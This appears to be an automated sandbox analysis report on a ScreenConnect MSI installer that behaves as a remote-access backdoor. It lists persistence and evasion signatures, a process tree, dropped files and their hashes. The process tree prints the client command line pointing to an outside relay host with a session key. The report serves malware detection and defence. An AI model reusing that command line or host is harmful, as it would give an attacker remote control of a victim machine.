Analysis

  • max time kernel
    148s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/07/2026, 15:53

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 14.8MB
  • Sample260721-tbwpfsca87
  • SHA256 6542c312a3db4d907369d25331e256f6c57d5fa7bbe2cafc13bc55e501ce66ba
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:6104
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5756
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E54E5EB55D698F3CF60939BEF1917BE3 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:120
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI765F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240744328 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1040
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:788
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 95203F8422D5A900E638A11C4183C11E
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3024
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B2561195E62EF12289DE02ECE13608DB E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4216
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5164
    • C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=kori1903.anondns.net&p=8880&s=48e8042f-057c-4ac9-823e-a2bba47b60ae&k=BgIAAACkAABSU0ExAAgAAAEAAQBFFb703CerjyrVi52FDc06%2b9uKtZhcBGvg7To%2fpmRaLbe9vZps6uCgCh1aTLxpynfhAbiOCgeD5%2be%2fhBxXiYDnIU7FKiuYoP3Rjq0D7EmVCYsMRruz3YVp9c0EvbSP8KQhSm4cv2IRF7awX1auf5L0C7oVGOFgFbkJ53VLQf0Vic%2bTgGi3uHIGD5dNHQPPim23oTn%2fbMjEeoPVLC%2fRK%2bO8DcSkGq%2bOrM9mUnik6MtY5I2yTSUM2lDFDd22uJNwMrMqDGIvreCThn1gG%2bJamp5XffPzYcAKAEOOV7P%2fzSOMF9XdPle8lCGGUN0uOeOfunw7%2bnVXimT7%2fOoCL34rEtuy&c=os&c=&c=user1&c=any&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4144
      • C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe" "RunRole" "e80fd2a6-5c1e-463f-a919-a51dbe8f7b24" "User"
        2⤵
        • Executes dropped EXE
        PID:3504
      • C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe" "RunRole" "945ea48b-81ec-4a91-a794-70c6daa5cd05" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4768

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e59c1a1.rbs

          • Path C:\Config.Msi\e59c1a1.rbs
          • Size 214KB
          • SHA256 94049758971dea68014122ff0fccf57fc63f1c13098c61b3e5df155a20cb3502
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\Client.Override.en-US.resources
          • Size 469B
          • SHA256 cf1209424e69bab62ec7f06d0defd769102b8e6ad0996cf8c82fa453cc77d684
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\Client.Override.resources
          • Size 91KB
          • SHA256 64119fa2722dbc7cb4a451d7523c1d14c512509b8891976c82aeb3ed37c530dc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\app.config
          • Size 3KB
          • SHA256 a6e26202c66dae6897f4229b319a946740425ef43b7053fcc9f37befe68094ef
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (044ec55c852728de)\system.config
          • Size 952B
          • SHA256 2a4d7310e3bb2668dd4ffe8c7d85a9808a3190b8da38ae2725822652f9d51722
          • MD5 SHA1 SHA512 TLSH

          MSI765F.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI765F.tmp
          • Size 1.0MB
          • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI765F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI765F.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI765F.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI765F.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIC76E.tmp

          • Path C:\Windows\Installer\MSIC76E.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59c1a0.msi

          • Path C:\Windows\Installer\e59c1a0.msi
          • Size 14.8MB
          • SHA256 6542c312a3db4d907369d25331e256f6c57d5fa7bbe2cafc13bc55e501ce66ba
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 6a1e4faf9910fcfb6dfe509869966139f4f267a0f82cecfece7f444110a09877
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {6b48e08f-6be0-44a0-8188-b13958705366}_OnDiskSnapshotProp

          • Path \??\Volume{cb1876cb-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{6b48e08f-6be0-44a0-8188-b13958705366}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 839f91ff8d544acf53812e7c323a87a94d4d720827cc803a90e8822844b8f500
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1040-31-0x0000000006810000-0x0000000006DCA000-memory.dmp

          memory/1040-26-0x0000000005E60000-0x0000000005EEE000-memory.dmp

          memory/1040-18-0x0000000003D40000-0x0000000003D6E000-memory.dmp

          memory/1040-30-0x00000000060A0000-0x000000000624C000-memory.dmp

          memory/1040-22-0x0000000003D80000-0x0000000003D8A000-memory.dmp

          memory/3504-120-0x000000001BB00000-0x000000001BB8E000-memory.dmp

          memory/3504-122-0x000000001CCA0000-0x000000001CE28000-memory.dmp

          memory/3504-125-0x000000001B720000-0x000000001B761000-memory.dmp

          memory/3504-124-0x000000001B700000-0x000000001B718000-memory.dmp

          memory/3504-123-0x00000000013C0000-0x00000000013D8000-memory.dmp

          memory/3504-118-0x0000000000AC0000-0x0000000000B58000-memory.dmp

          memory/3504-119-0x0000000001420000-0x0000000001456000-memory.dmp

          memory/3504-121-0x000000001BD40000-0x000000001BEEC000-memory.dmp

          memory/4144-75-0x00000000023A0000-0x00000000023B8000-memory.dmp

          memory/4144-99-0x0000000004A70000-0x0000000004AC0000-memory.dmp

          memory/4144-104-0x0000000004F00000-0x0000000004F92000-memory.dmp

          memory/4144-103-0x0000000004C00000-0x0000000004C36000-memory.dmp

          memory/4144-108-0x00000000050F0000-0x00000000051C5000-memory.dmp

          memory/4144-106-0x0000000004C40000-0x0000000004C81000-memory.dmp

          memory/4144-81-0x0000000004930000-0x00000000049BE000-memory.dmp

          memory/4144-85-0x0000000004CB0000-0x0000000004E5C000-memory.dmp